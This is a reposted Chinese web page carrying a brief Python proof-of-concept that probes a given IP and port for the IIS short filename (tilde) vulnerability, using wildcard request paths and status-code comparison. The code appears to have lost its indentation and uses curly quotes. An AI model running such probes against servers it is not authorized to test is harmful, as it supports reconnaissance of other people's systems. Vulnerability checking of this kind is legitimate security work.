码迷,mamicode.com
首页 > 其他好文 > 详细

POC iis短文件名

时间:2019-03-28 18:17:29      阅读:261      评论:0      收藏:0      [点我收藏+]

标签:==   文件名   none   parse   name   turn   int   prot   test   

__author__ = ‘*‘
# -*- coding:utf-8 -*-

from lib.httpparse import httpparse

def verify(protocol,ip,port):
url = protocol+‘://‘+ip+‘:‘+str(port)
print(‘testing if iis shortname vul‘)
http = httpparse()
try:
path = ‘/*~1****/a.aspx‘
tm = http.httpreq(‘GET‘, protocol, ip, port, path)
print(tm[0])
if tm and (tm != None) and tm[0] == 404:
try:
path = ‘/spurs*~1****/a.aspx‘
tmn = http.httpreq(‘GET‘, protocol, ip, port, path)
print(tmn[0])
if tmn and (tmn != None) and tmn[0] == 400:
msg = ‘There is iis shortname vul on url: ‘ +url+ ‘ .‘
number = ‘v15‘
print(msg)
return True,url,number,msg
else:
msg = ‘There is no iis shortname vul on ‘ +url+ ‘ .‘
number = ‘v0‘
return False,url,number,msg
except Exception as e:
msg = str(e)
number = ‘v0‘
return False,url,number,msg
else:
msg = ‘There is no iis shortname vul on ‘ +url+ ‘ .‘
number = ‘v0‘
return False,url,number,msg
except Exception as e:
msg = str(e)
number = ‘v0‘
return False,url,number,msg

POC iis短文件名

标签:==   文件名   none   parse   name   turn   int   prot   test   

原文地址:https://www.cnblogs.com/AtesetEnginner/p/10616734.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!